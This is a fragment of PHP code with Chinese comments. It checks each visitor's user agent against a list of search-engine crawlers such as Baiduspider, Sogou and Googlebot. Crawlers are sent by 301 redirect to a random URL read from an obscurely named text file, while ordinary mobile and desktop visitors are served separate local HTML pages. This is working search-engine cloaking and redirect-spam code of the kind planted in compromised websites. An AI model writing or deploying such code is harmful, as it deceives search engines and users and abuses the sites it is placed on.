$kulou_ads = true; $agent = strtolower($_SERVER['HTTP_USER_AGENT']); // 转小写便于识别 if ($kulou_ads) { // 定义需要拦截的蜘蛛/爬虫关键词(中外华人常见) $spider_keywords = [ 'baiduspider', 'sogou', '360spider', 'sm', 'toutiao', 'quark', 'petalbot', 'bytespider', 'ucwebbot', 'googlebot' ]; foreach ($spider_keywords as $keyword) { if (stripos($agent, $keyword) !== false) { // 只使用指定文件 $selected_file = __DIR__ . '/fdas324sdfsaf321k4e.txt'; // 使用绝对路径 if (file_exists($selected_file)) { if (is_readable($selected_file)) { $urls = file($selected_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); // 调试:检查文件内容 var_dump($urls); if (!empty($urls)) { $base_url = trim($urls[array_rand($urls)]); // 从文件中随机选一条 $final_url = 'http://' . ltrim($base_url, '/'); header("HTTP/1.1 301 Moved Permanently"); header("Location: $final_url"); exit; } else { echo '文件内容为空。'; exit; } } else { echo '文件不可读。'; exit; } } else { echo '文件不存在。'; exit; } // 如果没有有效链接,返回默认页面 echo file_get_contents("./402.html"); exit; } } // 非蜘蛛:判断移动端还是 PC if (strpos($agent, 'iphone') !== false || stripos($agent, 'ipad') !== false || stripos($agent, 'ipod') !== false || stripos($agent, 'android') !== false) { echo file_get_contents("./001qweadzc.html"); } else { echo file_get_contents("./402.html"); } exit; }